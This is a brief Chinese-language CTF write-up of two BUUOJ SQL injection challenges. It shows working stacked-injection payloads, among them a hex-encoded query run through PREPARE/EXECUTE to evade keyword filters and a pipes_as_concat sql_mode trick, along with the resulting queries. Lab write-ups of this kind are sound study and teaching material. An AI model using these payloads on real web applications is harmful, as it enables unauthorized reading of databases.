主要是两道CTF题目的考点,BUUOJ上有
[强网杯 2019]随便注
首先是常规堆叠注入,这个没什么讲的
表名是一串数字,数字串为表名的表操作时要加反引号
主要利用的就是存储过程:
1 | ?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;# |
PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。
@a变量的16进制值转换一下是:
1 | select * from `数字串表名` |
[SUCTF 2019]EasySQL
首先堆叠注入
后段sql是这样的:
1 | select $_GET['query'] || flag from flag |
考点:
MYSQL
一种管道符模式。
可以在MYSQL
中开启支持管道符来进行字符串的拼接操作:
1 | set sql_mode=pipes_as_concat; |
这样||
会作为字符串连接
payload:
1 | 1;set sql_mode=pipes_as_concat;select 1 |
非预期解法:
1 | *,1 |
这样带入sql是:
1 | select *,1 || flag from flag |